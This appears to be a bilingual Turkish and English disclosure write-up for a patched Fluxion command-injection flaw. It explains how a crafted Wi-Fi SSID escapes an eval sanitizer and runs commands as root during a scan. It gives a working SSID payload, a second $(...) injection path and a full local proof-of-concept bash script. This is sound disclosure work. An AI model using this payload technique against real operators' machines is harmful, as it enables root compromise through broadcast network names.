November 19, 2026
CVE-2026–125399 — Zero-Click OS Command Injection PoC & Write-up (Fluxion)
Note for English-speaking readers: This document starts in Turkish. A complete English translation of the entire write-up is included at…
By VulnSVNC
14 min read
Note for English-speaking readers:_ This document starts in Turkish. A complete English translation of the entire write-up is included at the bottom of this file, under the heading "ENGLISH VERSION"._
Ürün Fluxion (FluxionNetwork/fluxion) Test Edilen Versiyon v6.32 (GitHub master'da da mevcut, iç versiyon string'i FLUXION V6.38) Zafiyet Sınıfı CWE-78 (OS Command Injection) via CWE-95 (Eval Injection), kök nedende CWE-20 (Improper Input Validation of untrusted 802.11 verisi) Etkilenen Bileşen fluxion.sh → fluxion_get_target(), satır ~1839–1844 Saldırı Vektörü Adjacent (802.11 / Wi-Fi radyo menzili) Yetki Gereksinimi Yok (saldırgan tarafında) Kullanıcı Etkileşimi Yok (mağdur sadece rutin bir Wi-Fi taraması yapıyor) Elde Edilen Yetki Fluxion process'inin yetkisi — genelde root (monitor mode için gerekli) CVSS 3.1 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 8.8 (High), root ile çalışma bağlamı nedeniyle pratikte Critical'e yaklaşıyor CVE CVE-2026-125399 Durum Patched (v6.39) Keşif Tarihi 4 Kasım 2026 Vendor Bildirim Tarihi 4 Kasım 2026
1. Özet
Fluxion, airodump-ng çıktısından taranan Wi-Fi ağlarının listesini CSV olarak ayrıştırıyor. SSID alanındaki olası ASCII-dışı baytları doğru göstermek için, kod SSID değerini Bash'in eval builtin'ine, tek ve eksik bir sanitizasyon adımından (gömülü tek tırnakların escape edilmesi) sonra gönderiyor. Bu sanitizasyon, SSID içinde tek tırnaktan hemen önce gelen bir backslash karakterini hesaba katmadığı için, saldırgan hazırladığı bir SSID yayınlayarak quoting bağlamından kaçıp eval üzerinden keyfi shell komutu çalıştırabiliyor.
Kritik nokta: bu kod yolu, her taranan erişim noktası için, operatöre hedef seçim listesi gösterilmeden önce, koşulsuz olarak çalışıyor. Herhangi bir saldırı modu seçilmesine, hedef seçilmesine gerek yok — sadece çevredeki ağları taramak yeterli. Fluxion genelde monitor mode için root çalıştığından, enjekte edilen komut root yetkisiyle çalışıyor.
2. Zafiyet Detayları
2.1 Sınıflandırma
- CWE-78 — OS Command Injection
- CWE-95 — Eval Injection (yakın kök neden)
- CWE-20 — Improper Input Validation (802.11 SSID bilgi elemanı, tamamen saldırgan kontrollü)
2.2 CVSS v3.1 Vektör Detayı
Metrik Değer Gerekçe AV Adjacent Sadece Wi-Fi radyo menzili gerekiyor, ağ kimlik doğrulaması/ilişkilendirme gerekmiyor AC Low Payload statik, güvenilir şekilde hazırlanabilen bir SSID string'i; race condition/timing bağımlılığı yok PR None Kimlik bilgisi gerekmiyor UI None Mağdur tarafında rutin tarama dışında etkileşim gerekmiyor S Unchanged C/I/A High/High/High Operatörün makinesinde, genelde root olarak keyfi komut çalıştırma
Base Score: 8.8 (High)
2.3 Kök Neden — Zafiyetli Kod
fluxion.sh, fluxion_get_target() fonksiyonu, yaklaşık satır 1839–1844:
# Parse any non-ascii characters by letting bash handle them.
# Escape all single quotes in ESSID and let bash's $'...' handle it.
local sanitizedESSID=$(
echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14
)
candidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'")# Parse any non-ascii characters by letting bash handle them.
# Escape all single quotes in ESSID and let bash's $'...' handle it.
local sanitizedESSID=$(
echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14
)
candidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'")candidateAPInfo, airodump-ng'nin ürettiği bir CSV satırı; 14. alan ESSID. 802.11 standardına göre bu alan, saldırganın tamamen kontrol ettiği, 32 bayta kadar serbest biçimli bir bayt dizisi. Uygulanan tek sanitizasyon, SSID içindeki her tek tırnağı (') escape edilmiş tek tırnak (') ile değiştirmek; sonrasında sonuç Bash'in ANSI-C-quoted string'i ($'...') içine gömülüp eval'a veriliyor.
2.4 Sanitizasyon Atlatma Mekanizması
${candidateAPInfo//\'/\\\'} substitution'ı, yalnızca SSID'de zaten var olan tırnak karakterlerini yeniden yazıyor; saldırganın bu tırnaklardan birinin hemen önüne yerleştirdiği bir backslash karakterini hesaba katmıyor. SSID, \ (backslash) ve ' (tek tırnak) baytlarıyla başlarsa, substitution bu çifti üç karaktere çeviriyor: \' (backslash, backslash, tırnak).
Bu, Bash'in $'...' ANSI-C quoting'i içinde değerlendirildiğinde: \ dizisi, tanınan bir escape olup tek bir literal backslash'e decode ediliyor ve bir birim olarak tüketiliyor. Hemen ardından gelen tırnak karakteri artık escape edilmemiş oluyor ve $'...' string'inin gerçek, kapatıcı delimiter'ı olarak yorumlanıyor. Bu tırnaktan sonraki her şey, eval tarafından sıradan shell syntax'ı olarak parse edilip çalıştırılıyor.
2.5 PoC Payload (Zararsız — kanıt amaçlı)
Aşağıdaki literal baytlardan oluşan bir SSID (21 bayt, 802.11'in 32 bayt sınırının altında) yeterli:
\'; touch /tmp/pwned #\'; touch /tmp/pwned #Bayt(lar) Amaç \ Sanitizer'ı atlatmak için tırnaktan hemen önce bir literal backslash ' Sanitizer'ın ürettiği escaped tırnakla birleşince, $'...' string'ini erken kapatıyor ; eval'lanan satırın içinde yeni bir komut başlatan shell ayıracı touch /tmp/pwned Keyfi, saldırganın seçtiği komut (PoC payload'ı) # Orijinal satırın geri kalanını yorum satırına çevirip güvenli şekilde başarısız olmasını sağlıyor
eval'a ulaşan nihai string şu formda: eval "echo $'...\\'; touch /tmp/pwned #...'" — Bash bunu şu şekilde parse ediyor: (kırpılmış) SSID metnini yazdır, ayrı olarak touch /tmp/pwned komutunu çalıştır, orijinal satırın geri kalanını yorum olarak işle.
3. Zero-Click Karakteristiği ve Payload'ın Gizliliği
3.1 Bu Bir Zero-Click Zafiyettir
Bu zafiyeti özellikle vahim kılan nokta, mağdur tarafında herhangi bir bilinçli etkileşim gerektirmemesidir:
- Mağdur, saldırganın erişim noktasını görmek, seçmek, hedeflemek veya onunla herhangi bir şekilde etkileşime girmek zorunda değildir.
- Tek gereken, Fluxion'u normal kullanım amacıyla çalıştırıp rutin bir Wi-Fi taraması yapmaktır — bu, aracı kullanan herkesin zaten yapacağı, sıradan ve kaçınılmaz bir adımdır.
- Enjeksiyon, saldırganın AP'si taranan ağlar arasında sadece fiziksel olarak mevcut olduğu anda, operatöre herhangi bir seçim ekranı gösterilmeden önce, otomatik olarak tetiklenir.
- Bu nedenle klasik "zero-click" tanımına tam olarak uyar: saldırganın payload'ı çalıştırmak için mağdurdan hiçbir eylem (tıklama, onay, bağlantı, kimlik doğrulama) talep etmesi gerekmez; mağdurun aracı normal şekilde kullanması tek başına yeterlidir.
3.2 Payload Mağdurdan Yapısal Olarak Gizlidir
Payload'ın "gizliliği", saldırganın SSID'yi görsel olarak kamufle etmesinden değil, zafiyetli kod yolunun mimarisinden kaynaklanır:
- Zafiyetli
evalçağrısı,fluxion_get_target()fonksiyonu aday ağ listesini oluştururken, yani bu liste operatöre ekranda gösterilmeden önce çalışır (bkz. Bölüm 2.3–2.4 ve Bölüm 4). - Bunun sonucu olarak mağdurun, komut zaten çalıştıktan sonra bile, şüpheli SSID'yi fark edip bir karar verebileceği bir an hiçbir zaman oluşmaz. İnceleme/şüphelenme fırsatı yapısal olarak ortadan kalkmıştır.
- Ayrıca saldırgan, 802.11 SSID alanının izin verdiği 32 baytlık sınır içinde, payload'ın görünür/yazdırılabilir kısmını kısaltarak veya yazdırılamayan (non-printable) kontrol karakterleriyle birleştirerek, ağ listesi daha sonra herhangi bir şekilde (ör. loglarda, farklı bir ekranda) görüntülense bile SSID'nin sıradan/bozuk bir karakter dizisi gibi görünmesini sağlayabilir. Bu, tespiti geriye dönük olarak da zorlaştırır.
- Özetle: payload'ı "gizleyen" şey bir şifreleme ya da obfuscation tekniği değil, zafiyetli kodun payload'ı herhangi bir görsel inceleme fırsatından önce çalıştırmasıdır — bu da onu tipik "kullanıcıyı kandırma" gerektiren saldırılardan çok daha tehlikeli kılar.
3.3 Enjeksiyon Noktası: SSID/ESSID Alanı
Netlik için: bu saldırıda tek enjeksiyon noktası, saldırganın erişim noktasının beacon/probe response frame'lerinde yayınladığı SSID (Service Set Identifier), yani ESSID alanıdır. Saldırganın ihtiyaç duyduğu tek şey:
- Kontrolündeki bir erişim noktasını (ör.
hostapdile), ağ adı (SSID/ESSID) olarak Bölüm 2.5'teki payload'ı (\'; touch /tmp/pwned #benzeri) yayınlayacak şekilde yapılandırmak. - Başka hiçbir protokol alanının (ör. BSSID, şifreleme ayarları, kanal) değiştirilmesine veya özel bir donanıma gerek yoktur — standart bir Wi-Fi erişim noktası/adaptörü yeterlidir.
- Mağdur tarafında tetikleyici, bu SSID'nin Fluxion'un çalıştığı cihaz tarafından görülmesi/taranmasıdır; mağdurun bu ağa bağlanması veya onu hedef olarak seçmesi gerekmez.
4. Tetiklenme Yolu ve Saldırı Akışı
fluxion_get_target(), Fluxion'un her saldırı modülü (Handshake Snooper, Captive Portal, vb.) için aday-ağ listesini oluşturan tek, paylaşılan rutin. Rutin, hedef taramasının normal bir parçası olarak koşulsuz çağrılıyor (fluxion.sh:2499).
- Saldırgan: Bir Wi-Fi AP'yi (ör.
hostapdile) bölüm 2.5'teki SSID'yi yayınlayacak şekilde yapılandırır. - Mağdur: Fluxion'u normal şekilde çalıştırıp rutin bir AP taraması yapar (herhangi bir saldırı modülü, ya da headless
--scan-only). Mağdurun saldırganın AP'sini seçmesine/hedeflemesine gerek yok. - Otomatik (Fluxion içinde): Tarama tamamlandıktan sonra
fluxion_get_target(), taranan her AP üzerinde döner (fluxion.sh:1783) ve saldırganın girdisi için satır 1844'teki zafiyetlievalçağrısına ulaşır — bu, seçim menüsü mağdura gösterilmeden önce olur. - Etki: Enjekte edilen komut anında çalışır, Fluxion'un yetki seviyesini (standart yapılandırmada root) miras alır.
Saldırı modundan bağımsız: fluxion_get_target() tüm modüller tarafından paylaşılan altyapı olduğu için, hangi saldırı modunun seçildiği bu sorunu tetiklemek için önemsiz — sadece tarama eylemi yeterli.
5. Lab Doğrulama Kanıtı
İzole lab ortamında elde edilen kanıt:
$ ls -la /tmp/pwned
-rw-r--r-- 1 root root 0 Kas 1 15:33 /tmp/pwned$ ls -la /tmp/pwned
-rw-r--r-- 1 root root 0 Kas 1 15:33 /tmp/pwnedDosyanın root:root sahipliği, enjekte edilen komutun root yetkisiyle çalıştığını doğruluyor.
6. İkincil İlişkili Bulgu (Düşük Güven — doğrulanmadı)
attacks/Captive Portal/attack.sh (~satır 1208–1224) içinde, aynı ESSID alanından türeyen $FluxionTargetSSID değeri, verifiedCondition değişkenine unescaped olarak interpolate ediliyor:
local -r verifiedCondition="cowpatty -f \"$FLUXIONWorkspacePath/candidate.txt\" \
-r \"$CaptivePortalHashPath\" -s \"$FluxionTargetSSID\" &>> $FLUXIONOutputDevice"local -r verifiedCondition="cowpatty -f \"$FLUXIONWorkspacePath/candidate.txt\" \
-r \"$CaptivePortalHashPath\" -s \"$FluxionTargetSSID\" &>> $FLUXIONOutputDevice"Bu string daha sonra üretilen bir yardımcı script'e (captive_portal_authenticator.sh) yazılıp unquoted variable expansion ile çalıştırılıyor (if $verifiedCondition; then). Bash, çift tırnak içinde bile $(...) ve backtick için command substitution yaptığından, $(touch /tmp/pwned2) gibi bir command substitution içeren SSID'nin bu kod yolu çalıştığında tetiklenmesi bekleniyor.
Not: Birincil bulgunun aksine, bu yol saldırganın ağının Captive Portal hedefi olarak aktif şekilde seçilmesini gerektiriyor ve bağımsız olarak doğrulanmadı. Tamlık amacıyla dahil edilmiştir, maintainer'lar tarafından birincil bulguyla birlikte doğrulanmalıdır — ikisi de aynı kök nedenden (sanitize edilmemiş ESSID verisinin shell evaluation bağlamlarına ulaşması) kaynaklanıyor.
7. Etki
- Operatörün makinesinin, genelde root yetkisiyle, Wi-Fi menzilindeki herhangi bir cihazdan tam ele geçirilmesi.
- Mağdurun kablosuz ağıyla herhangi bir kimlik doğrulama, eşleştirme veya önceden ilişki gerekmiyor — saldırganın rogue AP'sinin, mağdurun denetlemeyi planladığı kanal/bantta bile olması gerekmiyor; sadece tarama sırasında görünür olması yeterli.
- Mağdur tarafında rutin kullanım dışında etkileşim gerekmiyor — bu özellikle vahim, çünkü Fluxion'un kendisi, bir müşterinin kablosuz ortamını denetlerken ele geçirilebilecek pentester'lar ve güvenlik araştırmacıları tarafından çalıştırılan bir güvenlik test aracı.
- Pratik sonuçlar: persistence/backdoor kurulumu, kimlik bilgisi hırsızlığı, operatörün ağına pivot, veya yıkıcı eylemler — hepsi Fluxion'un çalıştığı yetki seviyesinde (genelde root).
ENGLISH VERSION
Unauthenticated Remote Command Injection via eval() on Attacker-Controlled ESSID in Fluxion
Product Fluxion (FluxionNetwork/fluxion) Version Tested v6.32 (also present in current GitHub master, internal version string FLUXION V6.38) Vulnerability Class CWE-78 (OS Command Injection) via CWE-95 (Eval Injection), root cause also involves CWE-20 (Improper Input Validation of untrusted 802.11 data) Affected Component fluxion.sh → fluxion_get_target(), lines ~1839–1844 Attack Vector Adjacent (IEEE 802.11 / Wi-Fi radio range) Privileges Required None (on the attacker's side) User Interaction None (the victim only needs to run a routine Wi-Fi scan) Privileges Gained Same privileges as the Fluxion process — typically root (required for monitor-mode operations) CVSS 3.1 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 8.8 (High), trending toward Critical in practice given the typical root execution context CVE CVE-2026-125399 Status Patched (v6.39) Discovery Date November 4, 2026 Vendor Notification Date November 4, 2026
1. Executive Summary
Fluxion builds its list of candidate Wi-Fi access points by parsing the CSV output of airodump-ng. To render non-ASCII bytes that may appear in a network's SSID, the code passes the SSID field through Bash's eval builtin after applying a single, incomplete sanitization step (escaping embedded single-quote characters). Because this sanitization does not account for a pre-existing backslash character immediately preceding a single quote in the SSID, an attacker broadcasting a Wi-Fi access point with a crafted SSID can break out of the intended quoting context and cause arbitrary shell commands to be executed by eval.
Critically, this code path runs unconditionally for every access point discovered during a scan, before the operator is even shown the target-selection list. No attack mode needs to be chosen, no target needs to be selected, and no further interaction is required from the person running Fluxion — simply scanning for nearby networks is sufficient to trigger the vulnerability. Since Fluxion typically must run as root to place a wireless interface into monitor mode, the attacker-controlled command executes with root privileges.
2. Vulnerability Details
2.1 Classification
- CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- CWE-95 — Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') — the proximate root cause
- CWE-20 — Improper Input Validation of data received over an untrusted channel (the 802.11 SSID information element, fully attacker-controlled)
2.2 CVSS v3.1 Vector Breakdown
Metric Value Rationale AV Adjacent Only Wi-Fi radio proximity is required, not network authentication or prior association AC Low The payload is a static, reliably-crafted SSID string; no race condition or timing dependency PR None No credentials required UI None No victim interaction beyond a routine scan S Unchanged C/I/A High/High/High Arbitrary command execution, typically as root, on the operator's machine
Base Score: 8.8 (High)
2.3 Root Cause — Affected Code
File: fluxion.sh, function fluxion_get_target(), approximately lines 1839–1844:
# Parse any non-ascii characters by letting bash handle them.
# Escape all single quotes in ESSID and let bash's $'...' handle it.
local sanitizedESSID=$(
echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14
)
candidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'")# Parse any non-ascii characters by letting bash handle them.
# Escape all single quotes in ESSID and let bash's $'...' handle it.
local sanitizedESSID=$(
echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14
)
candidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'")candidateAPInfo is one CSV row produced by airodump-ng for a detected access point; field 14 is the network's ESSID (SSID), which per the 802.11 standard is an attacker-controlled, free-form byte string of up to 32 bytes. The only sanitization applied is replacing every literal single-quote character (') in the SSID with an escaped single quote ('), after which the result is embedded inside a Bash ANSI-C-quoted string ($'...') and passed to eval.
2.4 Sanitization Bypass Mechanism
The substitution ${candidateAPInfo//\'/\\\'} only rewrites quote characters that are already present in the SSID; it does not account for a backslash character the attacker places immediately before one of those quotes. If the SSID begins with the two literal bytes \ (backslash) and ' (single quote), the substitution turns that pair into three characters: \' (backslash, backslash, quote).
When this is evaluated inside Bash's $'...' ANSI-C quoting, the sequence \ is a recognized escape that decodes to a single literal backslash and is consumed as one unit. The quote character that immediately follows is therefore no longer escaped and is interpreted as the real, closing delimiter of the $'...' string. Any text the attacker places after that quote is parsed as ordinary shell syntax by eval and executed.
2.5 Proof-of-Concept Payload (harmless, for evidentiary purposes)
An SSID consisting of the following literal bytes (21 bytes, well within the 32-byte 802.11 SSID limit) is sufficient:
\'; touch /tmp/pwned #\'; touch /tmp/pwned #Byte(s) Purpose \ A literal backslash, immediately before a quote, to defeat the sanitizer ' Combined with the escaped quote produced by the sanitizer, closes the Bash $'...' string early ; Shell command separator, starts a new command inside the eval'd line touch /tmp/pwned Arbitrary attacker-chosen command (proof-of-concept payload) # Comments out the remainder of the original eval'd line so it fails safely
The resulting literal string that reaches eval is of the form eval "echo $'...\\'; touch /tmp/pwned #...'", which Bash parses as: print the (truncated) SSID text, then separately execute touch /tmp/pwned, then treat the rest of the original line as a comment.
3. Zero-Click Characteristics and Payload Concealment
3.1 This Is a Zero-Click Vulnerability
What makes this vulnerability especially severe is that it requires no deliberate interaction from the victim whatsoever:
- The victim never needs to see, select, target, or otherwise interact with the attacker's access point in any way.
- All that is required is for the victim to run Fluxion for its normal, intended purpose and perform a routine Wi-Fi scan — an action every user of the tool inevitably performs regardless of what they intend to do afterward.
- The injection fires automatically the moment the attacker's AP is merely physically present among the scanned networks, before any selection screen is ever shown to the operator.
- This meets the textbook definition of "zero-click": the attacker never needs the victim to take any action (clicking, confirming, connecting, authenticating) to execute the payload; the victim's ordinary use of the tool is, by itself, sufficient.
3.2 The Payload Is Structurally Hidden From the Victim
The "concealment" here does not come from the attacker visually disguising the SSID — it comes from the architecture of the vulnerable code path itself:
- The vulnerable
evalcall executes whilefluxion_get_target()is building the candidate-network list, i.e. strictly before that list is ever displayed to the operator (see Sections 2.3–2.4 and Section 4). - As a result, there is never a moment, even after the command has already executed, at which the victim could have noticed the suspicious SSID and made a decision. The opportunity for inspection or suspicion is structurally eliminated by design of the vulnerable flow.
- Additionally, within the 32-byte SSID limit, an attacker can keep the visible/printable portion of the payload short or combine it with non-printable control bytes, so that even if the network list were later surfaced somewhere (logs, a different screen), the SSID would appear as an ordinary or garbled string rather than an obvious attack string — complicating retrospective detection as well.
- In short, what "hides" the payload is not encryption or obfuscation but the fact that the vulnerable code executes the payload before any opportunity for visual inspection exists — which makes it considerably more dangerous than attacks that rely on tricking a user into clicking or approving something.
3.3 Injection Point: The SSID/ESSID Field
To be explicit: the single injection point for this attack is the SSID (Service Set Identifier), i.e. the ESSID field, broadcast by the attacker's access point in its beacon/probe response frames. All the attacker needs to do is:
- Configure an access point under their control (e.g. via
hostapd) to broadcast the payload from Section 2.5 (e.g.\'; touch /tmp/pwned #) as its network name (SSID/ESSID). - No other protocol field (BSSID, encryption settings, channel, etc.) needs to be modified, and no special hardware is required — a standard Wi-Fi access point/adapter is sufficient.
- On the victim's side, the only trigger condition is that this SSID is seen/scanned by the device running Fluxion; the victim does not need to connect to this network or select it as a target.
4. Trigger Path and Attack Flow
The vulnerable code sits in fluxion_get_target(), the single shared routine Fluxion uses to build and display the candidate-network list for every attack module (Handshake Snooper, Captive Portal, etc.). It is invoked unconditionally as part of ordinary target scanning, at fluxion.sh:2499 (fluxion_get_target "$targetInterface").
Attack flow, as reproduced in the lab:
- Attacker: Configure a Wi-Fi access point (e.g. via
hostapd) to broadcast the crafted SSID described in Section 2.5. No special radio hardware beyond a standard Wi-Fi AP/adapter is required. - Victim: Run Fluxion normally and perform a routine access-point scan (any attack module, or headless mode via
--scan-only). The victim does not need to select, target, or otherwise interact with the attacker's access point. - Automatic (inside Fluxion): After the scan completes,
fluxion_get_target()iterates over every discovered access point (fluxion.sh:1783,for candidateAPInfo in "${FluxionTargetCandidates[@]}") to build the on-screen candidate list, reaching the vulnerableevalcall at line 1844 for the attacker's entry before the selection menu is ever shown to the victim. - Impact: The injected command executes immediately, inheriting Fluxion's privilege level (root, in the standard configuration required for monitor-mode Wi-Fi operations).
No attack-mode dependency: because fluxion_get_target() is shared infrastructure used by every attack module, the choice of attack (Captive Portal, Handshake Snooper, or any other) is irrelevant to triggering this issue — only the act of scanning matters.
5. Lab Reproduction Evidence
Evidence obtained in an isolated lab environment:
$ ls -la /tmp/pwned
-rw-r--r-- 1 root root 0 Nov 1 15:33 /tmp/pwned$ ls -la /tmp/pwned
-rw-r--r-- 1 root root 0 Nov 1 15:33 /tmp/pwnedThe file's root:root ownership confirms that the injected command ran with root privileges.
6. Secondary Related Finding (Lower Confidence — Unverified)
In attacks/Captive Portal/attack.sh (approximately lines 1208–1224), the attacker-controlled SSID ($FluxionTargetSSID, derived from the same ESSID field) is interpolated, unescaped, into a shell command string stored in the variable verifiedCondition:
local -r verifiedCondition="cowpatty -f \"$FLUXIONWorkspacePath/candidate.txt\" \
-r \"$CaptivePortalHashPath\" -s \"$FluxionTargetSSID\" &>> $FLUXIONOutputDevice"local -r verifiedCondition="cowpatty -f \"$FLUXIONWorkspacePath/candidate.txt\" \
-r \"$CaptivePortalHashPath\" -s \"$FluxionTargetSSID\" &>> $FLUXIONOutputDevice"This string is later written into a generated helper script (captive_portal_authenticator.sh) and executed via unquoted variable expansion (if $verifiedCondition; then). Because Bash performs command substitution for $(...) and backticks even inside double quotes, an SSID containing a command substitution sequence (e.g. $(touch /tmp/pwned2)) is expected to execute when this code path runs.
Note: Unlike the primary finding, this path requires the attacker's network to be actively selected as the Captive Portal target and was not independently reproduced during this assessment. It is included here for completeness and should be verified by the maintainers alongside the primary finding, as both stem from the same root cause (untrusted ESSID data reaching shell evaluation contexts without adequate sanitization).
7. Impact
- Full compromise of the operator's machine, typically with root privileges, from arbitrary devices within Wi-Fi range.
- No authentication, pairing, or prior relationship with the victim's wireless network is required — the attacker's rogue AP need not even use a channel/band the victim intends to audit; it only needs to be visible during the scan.
- No victim interaction beyond routine use of the tool — this is especially severe because Fluxion is itself a security-testing tool typically run by penetration testers and security researchers, who could be compromised while auditing a client's wireless environment.
- Practical consequences include planting persistence/backdoors, credential theft, pivoting into the operator's network, or destructive actions — all at the privilege level Fluxion runs with (commonly root).
#!/usr/bin/env bash
#
# Local, isolated PoC for the eval/quoting bug in Fluxion's
# fluxion_get_target() (fluxion.sh ~line 1839-1844).
#
# Bu script GERÇEK Wi-Fi donanımı, hostapd veya Fluxion'un kendisini
# GEREKTIRMEZ. Sadece zafiyetli kod parçasının izole bir kopyasını,
# gerçek bir airodump-ng CSV satırını taklit eden sahte (sentetik) bir
# veriyle besleyerek kök nedeni (eval + ANSI-C quoting kaçışı) kanıtlar.
#
# Kullanım:
# bash poc_local.sh
#
# Beklenen sonuç:
# /tmp/fluxion-poc-pwned dosyası oluşur -> eval injection kanıtlanmış olur.
set -u
PROOF_FILE="/tmp/fluxion-poc-pwned"
rm -f "$PROOF_FILE"
echo "[*] Fluxion eval-injection PoC (local, isolated, no real Wi-Fi required)"
echo "[*] Expected proof file: $PROOF_FILE"
# --- Saldırgan tarafından yayınlanan, saldırganın tam kontrolünde olan
# ESSID (802.11'de 32 bayta kadar serbest biçimli attacker data).
# Gerçek saldırıda bu kablosuz frame üzerinden gelir; burada payload'ı
# doğrudan bir değişkende tutuyoruz çünkü radyo katmanı yerel PoC'un
# konusu değil, bash eval mantığı konusu.
MALICIOUS_ESSID=$'\\\x27; touch '"$PROOF_FILE"$' #'
# --- airodump-ng'nin ürettiği CSV satırının izole bir taklidi.
# Gerçek formatta 14 virgülle ayrılmış alan var; 14. alan ESSID.
# Burada sadece ilk 13 alanı placeholder ile dolduruyoruz, önemli olan
# 14. alanın (ESSID) saldırgan kontrollü veriyi taşıması.
build_fake_csv_row() {
local placeholders
placeholders=$(printf 'f%.0s,' {1..13}) # 13 placeholder alan + virgül
echo "${placeholders}${MALICIOUS_ESSID}"
}
candidateAPInfo="$(build_fake_csv_row)"
echo "[*] Simulated airodump-ng CSV row (ESSID field highlighted):"
echo " ...,${MALICIOUS_ESSID}"
# --- fluxion.sh'deki fluxion_get_target() fonksiyonunun izole kopyası
# (rapordaki satır 1839-1844 ile birebir aynı mantık).
sanitizedESSID=$(
echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14
)
echo "[*] After the (incomplete) sanitization step, sanitizedESSID ="
echo " $sanitizedESSID"
# Zafiyetli satır: untrusted veri eval'a gidiyor.
eval "echo \$'$sanitizedESSID'" > /dev/null
echo
if [[ -f "$PROOF_FILE" ]]; then
echo "[+] SUCCESS: eval injection confirmed."
echo "[+] Proof file created: $PROOF_FILE"
ls -la "$PROOF_FILE"
else
echo "[-] Proof file not found — payload veya quoting'i kontrol edin."
fi#!/usr/bin/env bash
#
# Local, isolated PoC for the eval/quoting bug in Fluxion's
# fluxion_get_target() (fluxion.sh ~line 1839-1844).
#
# Bu script GERÇEK Wi-Fi donanımı, hostapd veya Fluxion'un kendisini
# GEREKTIRMEZ. Sadece zafiyetli kod parçasının izole bir kopyasını,
# gerçek bir airodump-ng CSV satırını taklit eden sahte (sentetik) bir
# veriyle besleyerek kök nedeni (eval + ANSI-C quoting kaçışı) kanıtlar.
#
# Kullanım:
# bash poc_local.sh
#
# Beklenen sonuç:
# /tmp/fluxion-poc-pwned dosyası oluşur -> eval injection kanıtlanmış olur.
set -u
PROOF_FILE="/tmp/fluxion-poc-pwned"
rm -f "$PROOF_FILE"
echo "[*] Fluxion eval-injection PoC (local, isolated, no real Wi-Fi required)"
echo "[*] Expected proof file: $PROOF_FILE"
# --- Saldırgan tarafından yayınlanan, saldırganın tam kontrolünde olan
# ESSID (802.11'de 32 bayta kadar serbest biçimli attacker data).
# Gerçek saldırıda bu kablosuz frame üzerinden gelir; burada payload'ı
# doğrudan bir değişkende tutuyoruz çünkü radyo katmanı yerel PoC'un
# konusu değil, bash eval mantığı konusu.
MALICIOUS_ESSID=$'\\\x27; touch '"$PROOF_FILE"$' #'
# --- airodump-ng'nin ürettiği CSV satırının izole bir taklidi.
# Gerçek formatta 14 virgülle ayrılmış alan var; 14. alan ESSID.
# Burada sadece ilk 13 alanı placeholder ile dolduruyoruz, önemli olan
# 14. alanın (ESSID) saldırgan kontrollü veriyi taşıması.
build_fake_csv_row() {
local placeholders
placeholders=$(printf 'f%.0s,' {1..13}) # 13 placeholder alan + virgül
echo "${placeholders}${MALICIOUS_ESSID}"
}
candidateAPInfo="$(build_fake_csv_row)"
echo "[*] Simulated airodump-ng CSV row (ESSID field highlighted):"
echo " ...,${MALICIOUS_ESSID}"
# --- fluxion.sh'deki fluxion_get_target() fonksiyonunun izole kopyası
# (rapordaki satır 1839-1844 ile birebir aynı mantık).
sanitizedESSID=$(
echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14
)
echo "[*] After the (incomplete) sanitization step, sanitizedESSID ="
echo " $sanitizedESSID"
# Zafiyetli satır: untrusted veri eval'a gidiyor.
eval "echo \$'$sanitizedESSID'" > /dev/null
echo
if [[ -f "$PROOF_FILE" ]]; then
echo "[+] SUCCESS: eval injection confirmed."
echo "[+] Proof file created: $PROOF_FILE"
ls -la "$PROOF_FILE"
else
echo "[-] Proof file not found — payload veya quoting'i kontrol edin."
fi